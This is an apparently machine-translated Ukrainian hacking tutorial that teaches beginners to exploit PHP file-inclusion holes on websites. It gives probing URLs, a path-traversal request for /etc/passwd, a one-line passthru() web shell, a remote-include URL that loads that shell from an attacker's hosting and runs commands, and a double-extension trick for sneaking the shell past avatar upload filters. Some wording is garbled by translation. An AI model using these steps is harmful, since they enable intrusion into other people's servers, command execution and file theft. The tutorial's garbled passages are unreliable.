Отже, на порталі я бачив небагато статей на цю тему.

Спочатку ми розглянемо PHP инклуид, а потім розберемося з використанням шелла.

Як думаю, ти знаєш це помилка або дірка в PHP коді. Спробую пояснити тобі суть, так як перш ніж використовувати уразливість потрібно знати, як вона діє.
include() ця php функція яка може підключати файл в місце, де вона знаходиться.І виконувати його.
Це може бути який-небудь модуль потрібний для роботи сайту

Що можна зробити за допомогою инклуида?
Залити скрипт;
Прочитати директорію;

Приклад виклику:
include($file);

Якщо хто не знайомий з пхп то після символу «$» оголошується змінна, ця змінна «file» а в ній шлях до підключеному модулю. Тобто у цій функції є тільки один аргумент шлях. Як ти, мабуть, здогадався, ми будемо вказувати шлях до потрібного нам скрипту. Розберемо приклад:
www.exampl.ru/index.php?file=prosto.php
тут використовується php скрипт index.php в скрипті є змінна «file» в неї записуватися посилання на скрипт «prosto.php».

Нам потрібно перевірити чи є тут php инклуид,
ми робимо так:
www.exampl.ru/index.php?file=[xixi]
якщо є дірка з’явитися щось на зразок такого

«Warning: main([xixi].php): failed to open stream: No such file or directory in /home/user/www/file.php on line 3»

Він лається і говорити, що не може знайти «[xixi]».
Значить вразливість є. Можеш радіти.
Отже, вразливість ми знайшли що далі? А далі як вийде.
Є два види инклуида

*Локальний
*Зовнішній

Розберемо зовнішній:
www.exampl.ru/index.php?file=www.mysite.ru/shell.txt
в змінну file ми записали шлях до шеллу (www.mysite.ru/shell.txt) і передали скрипту.
Скрипт прочитає вміст файлу shell.txt
Нижче ми дізнаємося яку користь це принесе нам

Тепер розберемо локальний.
Тут ти можеш тільки читати дані з сервера ось приклад
www.exampl.ru/index.htm?page= ../../../../../../etc/passwd

Прочитаємо відповідно директорію «etc/passwd».
Тобто в локальному ми тільки читаємо щось з сервака, а ось у зовнішньому є можливість заливати із зовнішніх джерел які-небудь дані.
Ось власне і вся реалізація цієї діри.

А тепер розберемося з завантаженням шелла. Власне зазвичай заради цього і потрібен инклуид.

Взагалі що таке шелл? Є два види шелла
Просто йшов і веб-йшов.

Звичайний шелл потрібен для зручного діалогу користувача з системою (я про нікс).
А от веб-ішов це як раз те що ми розбираємо.

Веб-шеллі зазвичай пишуть на PHP. Зміст його може бути саме різне. Наприклад можна за допомогою всього однієї функції вивести командний рядок. Але це не дуже зручно (особливо не знаєш які команди вводити). Можна просто виконати якусь дію, наприклад вивести всі директорії сервера. Загалом вся міць PHP. Але кодери роблять спеціальну оболонку за допомогою якої можуть керувати або дізнаватися інфу з сервера.

Якщо ти кодишь то можеш написати свій шелл. Зробити там всі зручні для себе функції і команди. Також можна додати що-небудь незвичайне. Шелл краще писати з авторизацією входу тобто щоб всякі пройдисвіти туди не лізли.
Про написання коду я говорити не буду. Ця тема інша. Почитати про це можна тут
www.xaker.name/forvb/showthread.php?p=74127

В іншому випадку
Якщо ти не кодишь. То потрібно скачати готовий шелл. Але врахуй що це не по-чоловічому. Якщо ти не хочеш так і залишитися у новачків, то рано чи пізно потрібно вчити веб-мови.

Вище я говорив, що не буду описувати процес написання веб-шелла. Мабуть ми напишемо простий скрипт для цих цілей, щоб наочно розглянути його роботу.
Відкривай блокнот і забивай ось такі письмена:

passthru($command);
?>

Це я тобі навів класичний приклад шелла на PHP. Спеціально для тих, хто не утруднюється вивченням цього найкрутішого мови, пояснюю — функція «PassThru()» виконує команду операційної системи, отриману в якості аргументу. Як бачимо, в якості аргументу у нас змінна $command, а ми її не визначили. Самі хитрож… розумні вже здогадалися, що цю змінну ми отримаємо з рядка запиту, тобто:

www.exampl.com/shell.php?command=НашаКоманда
І зберігай під ім’ям shell.php

Як залити шелл? Спочатку потрібно зареєструватися на будь-якому хостингу. Оптимальний варіант narod.ru. Заливаєш туди свій скрипт (готовий шелл) і береш посилання.
Їдеш на дірявий сайт і робиш так:
www.exampl.ru/index.php?file=www.exampl.narod.ru/shell.php&command=whoami
Якщо ти не сам його писав, то можна не викачувати, а зазначити лише посилання на нього.
Ну ось ця команда (whoami) покаже твій рівень прав в системі.
Можна використовувати команди даної осі (операційної системи)
Але це не єдиний спосіб.
Можна залити за допомогою SQL-ін’єкції. Але так як це стаття з инклуиду то пошукай інфу в мережі.
Є варіант залити шелл можна за допомогою Картинки або інших засобів завантаження даних на сервер.

Розглянемо таку ситуацію. Тобі можна залити свій аватар на сервер.
Замість картинки ти ставиш шелл з розширенням *.php. Отже, ти намагаєшся залити Shell.php швидше за все не вийде. На більшості сайтів є фільтр. Тобто можна заливати тільки файли з графічними розширеннями. Можна це обійти ось так: Shell.php.gif подвійне розширення. А потім просто викликати його.
Сподіваюся, ти зрозумів, що це можна зробити в залежності від ситуації.

Ну, от і все, власне,
З. И. На хак-зоні є багато статей про підняття привілеїв з шелла. Шануй їх обов’язково.